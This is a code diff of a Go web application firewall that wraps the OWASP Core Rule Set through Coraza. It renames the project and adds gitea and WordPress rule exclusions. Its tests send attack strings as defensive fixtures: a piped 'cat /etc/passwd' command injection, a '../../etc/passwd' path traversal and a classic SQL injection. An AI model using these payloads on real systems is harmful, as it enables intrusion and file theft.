{tagLists, torExitTag}, {tagLists, "=https://example.com/a.txt"},
{tagLists, "a,b=https://example.com/a.txt"},
{tagLists, "a=ftp://example.com/a.txt"},
{tagLists, "a=https://example.com/a.txt,A=https://example.com/b.txt"},
{tagLists, "a=https://example.com/a.txt,b=https://example.com/a.txt"},
{asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"}, {asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"},
{unknownLimitPercent, ""}, {unknownLimitPercent, "-1"}, {unknownLimitPercent, ""}, {unknownLimitPercent, "-1"},
{unknownLimitPercent, "50%"}, {unknownLimitPercent, "50%"},
@@ -2030,6 +2268,25 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""}, {logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
{rulesEnabled, "yes"}, {rulesEnabled, "True"}, {rulesEnabled, "yes"}, {rulesEnabled, "True"},
}) })
wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t)
}
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
// files off, and either setting turning off the Core Rule Set, the tag
// exploitsignature in SWW_TAG_DENY stops the start.
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
t.Helper()
for _, name := range []string{wafMode, wafAnomalyThreshold} {
_, err := config.FromEnvironment(environment{
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
}.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
name, err, tagDeny)
}
}
} }
func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
@@ -2042,7 +2299,7 @@ func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
{maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off}, {maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off},
{maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"},
{banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"},
{stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"},
{stateWriteDelay, off}, {stateWriteDelay, "0s"}, {stateWriteDelay, off}, {stateWriteDelay, "0s"},
{stateCounterInterval, off}, {stateCounterInterval, "15"}, {stateCounterInterval, off}, {stateCounterInterval, "15"},
}) })
@@ -2169,7 +2426,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
}.lookupEnv) }.lookupEnv)
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as gitea` `characters without a space, such as blog`
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
@@ -2284,11 +2541,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
lookupSource: defaultLookupSource, lookupSource: defaultLookupSource,
lookupDBPath: "", lookupDBPath: "",
lookupTimeout: "800ms", lookupTimeout: "800ms",
addLookupHeaders: "false", addLookupHeaders: disabled,
deniedCountries: "",
allowedCountries: "", allowedCountries: "",
asnLimitPercent: "", tagLists: "",
countryLimitPercent: "", tagDeny: "",
tagLimitPercent: "",
asnBytesPercent: "", asnBytesPercent: "",
countryBytesPercent: "", countryBytesPercent: "",
unknownLimitPercent: "100", unknownLimitPercent: "100",
@@ -2304,6 +2561,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
reputationAction: "limit:25", reputationAction: "limit:25",
reputationCacheTTL: defaultReputationCacheTTL, reputationCacheTTL: defaultReputationCacheTTL,
reputationTimeout: "2s", reputationTimeout: "2s",
routeWatchURL: "",
crowdSecURL: "", crowdSecURL: "",
crowdSecKey: "", crowdSecKey: "",
banResponse: "403", banResponse: "403",
@@ -2313,7 +2571,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
attackBanDuration: "7d", attackBanDuration: "7d",
maxBans: "5000", maxBans: "5000",
banScopeV4Prefix: "32", banScopeV4Prefix: "32",
stateDir: "/var/lib/smallwebwaf", stateDir: "/var/lib/sww",
stateWriteDelay: "10s", stateWriteDelay: "10s",
stateCounterInterval: "15m", stateCounterInterval: "15m",
adminToken: "", adminToken: "",
@@ -2322,7 +2580,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
instanceName: hostname, instanceName: hostname,
logRequestHeaders: defaultLogRequestHeaders, logRequestHeaders: defaultLogRequestHeaders,
logLevel: "info", logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d", rulesDir: "/etc/sww/rules.d",
rulesEnabled: "true", rulesEnabled: "true",
wafMode: config.WAFModeBlock, wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1", wafParanoiaLevel: "1",
+7 -7
View File
@@ -12,7 +12,7 @@ import (
"time" "time"
) )
// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero // RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off. // is off.
type RProxy struct { type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR). // ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
@@ -22,12 +22,12 @@ type RProxy struct {
// TrustedProxies are the netblocks whose X-Forwarded-For is believed // TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES). // (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND). // WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// Timeout is how long rproxy waits for servewaf's answer to a question, // Timeout is how long rproxy waits for discriminator's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off. // and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration Timeout time.Duration
// DefaultDisposition is what is done with a request when servewaf cannot be // DefaultDisposition is what is done with a request when discriminator cannot be
// connected to, does not answer at all, or does not answer within Timeout: // connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION). // allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string DefaultDisposition string
@@ -50,7 +50,7 @@ type RProxy struct {
var ( var (
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is servewaf's URL, such as http://servewaf:8080") "is required: it is discriminator's URL, such as http://discriminator:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New( errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000") "is not a whole number of milliseconds above zero, such as 2000")
@@ -124,7 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// wafBackend reads the setting that is servewaf's URL, which must be set. // wafBackend reads the setting that is discriminator's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
if value == "" { if value == "" {
@@ -139,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
return backend return backend
} }
// disposition reads the setting that is what is done with a request when servewaf // disposition reads the setting that is what is done with a request when discriminator
// cannot be connected to, does not answer at all, or does not answer in time: // cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny. // allow or deny.
func (e *environment) disposition(name, defaultValue string) string { func (e *environment) disposition(name, defaultValue string) string {
+3 -3
View File
@@ -24,7 +24,7 @@ const (
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE" rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS" rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS" rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://servewaf:8080" backendURL = "http://discriminator:8080"
rproxyDefaultAddr = ":8080" rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081" rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot" notASize = "a lot"
@@ -114,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
name, value string name, value string
}{ }{
{wafBackend, ""}, {wafBackend, ""},
{wafBackend, "servewaf:8080"}, {wafBackend, "discriminator:8080"},
{wafBackend, "http://servewaf:8080/path"}, {wafBackend, "http://discriminator:8080/path"},
{rproxyTimeout, "0"}, {rproxyTimeout, "0"},
{rproxyTimeout, "-1"}, {rproxyTimeout, "-1"},
{rproxyTimeout, off}, {rproxyTimeout, off},
@@ -1,17 +1,18 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the seven changes smallwebwaf // body while SWW_WAF_BODY_LIMIT is set, with the nine changes sww
// makes to it and the exclusions in SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE, as // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response. // response.
// //
// smallwebwaf writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of // file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory. // writing them to the system's temporary directory.
package waf package coreruleset
import ( import (
_ "embed"
"errors" "errors"
"fmt" "fmt"
"io" "io"
@@ -29,17 +30,18 @@ import (
"github.com/corazawaf/coraza/v3/types" "github.com/corazawaf/coraza/v3/types"
) )
// directives are the Core Rule Set as smallwebwaf runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWWAF_WAF_BODY_LIMIT is set, and the exclusions file for the second. // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// Each rule smallwebwaf adds has an id from 900000 to 900999, the ids the // giteaExclusions for the third, and wordpressExclusions for the fourth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWWAF_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next, // setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next. // without the spaces at the start of the next.
const directives = ` const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly # The engine only detects. sww compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode # score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on. # alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly SecRuleEngine DetectionOnly
SecRequestBodyAccess Off SecRequestBodyAccess Off
@@ -79,6 +81,12 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The eighth change comes before the rules for the same reason.
%s
# The ninth change comes before the rules for the same reason.
%s
# The sixth: only the rules for requests are loaded, and no response is # The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
@@ -106,10 +114,12 @@ SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:artifactName|!ARGS:redirect_to" !ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without # The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in # arguments, for Java starting a process, or for a Java class name. 944130
# Inspect. # refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image # The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not # it takes the layer from in the query parameter from, which is not
@@ -161,6 +171,20 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed gitea.conf
var giteaExclusions string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request // cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. // without, the rest of the fifth change.
// //
@@ -169,21 +193,21 @@ var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4. // ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int ParanoiaLevel int
// DisabledRules are the ids of the rules switched off // DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES). // (SWW_WAF_DISABLED_RULES).
DisabledRules []int DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads // BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none. // (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64 BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the // ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
} }
// The ids of smallwebwaf's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
// name. // name.
const ( const (
firstOwnRuleID = 900000 firstOwnRuleID = 900000
@@ -191,23 +215,56 @@ const (
) )
// numberOrRange matches a number, or a range of numbers such as // numberOrRange matches a number, or a range of numbers such as
// 900000-900999. // 900000-900999. Coraza reads a number with a + before it too, so the
var numberOrRange = regexp.MustCompile(`(\d+)(?:-(\d+))?`) // end of a range may have one.
var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`)
// errSmallwebwafRuleID is the error of an exclusions file that names an // errSwwRuleID is the error of an exclusions file that names an
// id of smallwebwaf's own rules. // id of sww's own rules.
var errSmallwebwafRuleID = errors.New("an id of smallwebwaf's own rules") var errSwwRuleID = errors.New("an id of sww's own rules")
// ownRuleNamed returns the first number or range in exclusions, the text // errChangesNoRule is the error of an exclusions file that holds a
// of an exclusions file, that takes in an id of smallwebwaf's own rules, // directive that removes or changes rules as it loads, such as
// or "" if none does. Comment lines are skipped, as Coraza skips them. // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
func ownRuleNamed(exclusions string) string { // the directive finds none of them.
for line := range strings.Lines(exclusions) { var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
if strings.HasPrefix(strings.TrimSpace(line), "#") { "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion")
// directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to
// the next, without the spaces around either.
func directivesIn(text string) []string {
var directives []string
joined := ""
for line := range strings.Lines(text) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue continue
} }
for _, match := range numberOrRange.FindAllStringSubmatch(line, -1) { if start, found := strings.CutSuffix(line, `\`); found {
joined += start
continue
}
directives = append(directives, joined+line)
joined = ""
}
return directives
}
// checkExclusions returns an error if exclusions, the text of an
// exclusions file, names an id of sww's own rules, alone or in a
// range, or holds a directive whose name starts with SecRuleRemove or
// SecRuleUpdate.
func checkExclusions(exclusions string) error {
for _, directive := range directivesIn(exclusions) {
for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) {
first, _ := strconv.Atoi(match[1]) first, _ := strconv.Atoi(match[1])
last := first last := first
@@ -216,27 +273,36 @@ func ownRuleNamed(exclusions string) string {
} }
if first <= lastOwnRuleID && last >= firstOwnRuleID { if first <= lastOwnRuleID && last >= firstOwnRuleID {
return match[0] return fmt.Errorf("the exclusions file names %s: %w", match[0],
} errSwwRuleID)
} }
} }
return "" // Coraza takes the directive's name up to the first space, without
// regard to case.
name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
errChangesNoRule)
}
}
return nil
} }
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use. // for concurrent use.
type CoreRuleSet struct { type CoreRuleSet struct {
waf coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
} }
// New returns the Core Rule Set with the seven changes, at params' // New returns the Core Rule Set with the nine changes, at params'
// paranoia level, without the rules it switches off, reading request // paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded // bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file that cannot be // before the Core Rule Set's rules. An exclusions file is an error if it
// read, does not parse or names an id of smallwebwaf's own rules is an // cannot be read or does not parse, or if checkExclusions refuses it.
// error.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -253,13 +319,14 @@ func New(params Params) (*CoreRuleSet, error) {
exclusions = string(file) exclusions = string(file)
if named := ownRuleNamed(exclusions); named != "" { err = checkExclusions(exclusions)
return nil, fmt.Errorf("the exclusions file names %s: %w", named, if err != nil {
errSmallwebwafRuleID) return nil, err
} }
} }
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions) text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -270,14 +337,14 @@ func New(params Params) (*CoreRuleSet, error) {
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n" text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
} }
waf, err := coraza.NewWAF(coraza.NewWAFConfig(). engine, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS). WithRootFS(coreruleset.FS).
WithDirectives(text)) WithDirectives(text))
if err != nil { if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -297,7 +364,7 @@ type Result struct {
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
tx := c.waf.NewTransaction() tx := c.engine.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
@@ -347,7 +414,7 @@ func (c *CoreRuleSet) Inspect(
} }
// readBody reads body, the body of the request in tx, which has run on // readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is // the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it // of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only // reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part. // when they are no longer than that, since they cannot be read in part.
@@ -1,6 +1,7 @@
package waf_test package coreruleset_test
import ( import (
"encoding/json"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
@@ -8,14 +9,15 @@ import (
"os" "os"
"path/filepath" "path/filepath"
"reflect" "reflect"
"slices"
"strconv" "strconv"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/waf" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off // defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default. // by default.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
@@ -23,10 +25,12 @@ var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with // newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off. // the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet { func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled}) crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: level, DisabledRules: disabled,
})
if err != nil { if err != nil {
t.Fatalf("load the Core Rule Set: %v", err) t.Fatalf("load the Core Rule Set: %v", err)
} }
@@ -49,7 +53,7 @@ func get(target string, headers ...string) request {
// inspect returns what crs finds in r, sent to git.example by a browser, // inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace. // whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result { func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
t.Helper() t.Helper()
result, _ := inspectBody(t, crs, r, "") result, _ := inspectBody(t, crs, r, "")
@@ -60,8 +64,8 @@ func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
// inspectBody is inspect for r with body, which is announced with its // inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too. // Content-Length unless it is "", and returns what crs read of body too.
func inspectBody( func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
) (waf.Result, string) { ) (coreruleset.Result, string) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method, req := httptest.NewRequestWithContext(t.Context(), r.method,
@@ -96,7 +100,9 @@ func inspectBody(
} }
// wantResult checks what crs finds in r. // wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) { func wantResult(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
) {
t.Helper() t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) { if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
@@ -106,28 +112,29 @@ func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result)
// matched is the result of a request that the rules ids match, each of // matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score. // them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result { func matched(ids ...int) coreruleset.Result {
const critical = 5 const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)} return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
} }
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default. // atDefaults returns the Core Rule Set as sww runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet { func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...) return newCoreRuleSet(t, 1, defaultDisabledRules...)
} }
// wantChange checks that crs lets through passes, a gitea request one of // wantChange checks that crs lets through passes, a request one of the
// the seven changes is for, and still finds result in refused, a request // nine changes is for, and still finds result in refused, a request like
// like it that the change is not for. // it that the change is not for.
func wantChange( func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
) { ) {
t.Helper() t.Helper()
wantResult(t, crs, passes, waf.Result{}) wantResult(t, crs, passes, coreruleset.Result{})
wantResult(t, crs, refused, result) wantResult(t, crs, refused, result)
} }
@@ -162,12 +169,12 @@ func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
wantResult(t, crs, wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}}, request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{}) coreruleset.Result{})
wantResult(t, crs, wantResult(t, crs,
request{http.MethodPost, fetch, []string{ request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip", fetchType, length, "Content-Encoding: gzip",
}}, }},
waf.Result{}) coreruleset.Result{})
// Every other header on the Core Rule Set's list stays refused. // Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{ for _, header := range []string{
@@ -196,7 +203,7 @@ func TestTransferEncodingIsRead(t *testing.T) {
"Content-Type: application/x-git-receive-pack-request", "Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked", "Transfer-Encoding: chunked",
}}, }},
waf.Result{}) coreruleset.Result{})
} }
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) { func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
@@ -250,7 +257,7 @@ func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testi
for _, value := range []struct { for _, value := range []struct {
name string name string
// result is what a parameter that is not one of gitea's gets. // result is what a parameter that is not one of gitea's gets.
result waf.Result result coreruleset.Result
}{ }{
// A file on the list of system files. // A file on the list of system files.
{".gitignore", matched(930120)}, {".gitignore", matched(930120)},
@@ -271,7 +278,7 @@ func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testi
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"), wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160)) matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"), wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20}) coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100)) wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
} }
@@ -309,13 +316,14 @@ func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
matched(930120)) matched(930120))
} }
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) { func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
search = "https://git.example/explore/repos?q=env" search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" + runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java" "java.base/share/classes/java/lang/Runtime.java"
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
) )
crs := atDefaults(t) crs := atDefaults(t)
@@ -324,6 +332,8 @@ func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
matched(932340)) matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava), wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110)) get("/", "X-Page: "+runtimeJava), matched(944110))
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
matched(944130))
// It is still checked for script and SQL injection. // It is still checked for script and SQL injection.
wantResult(t, crs, wantResult(t, crs,
@@ -338,7 +348,7 @@ func TestEmptyHeaderIsRead(t *testing.T) {
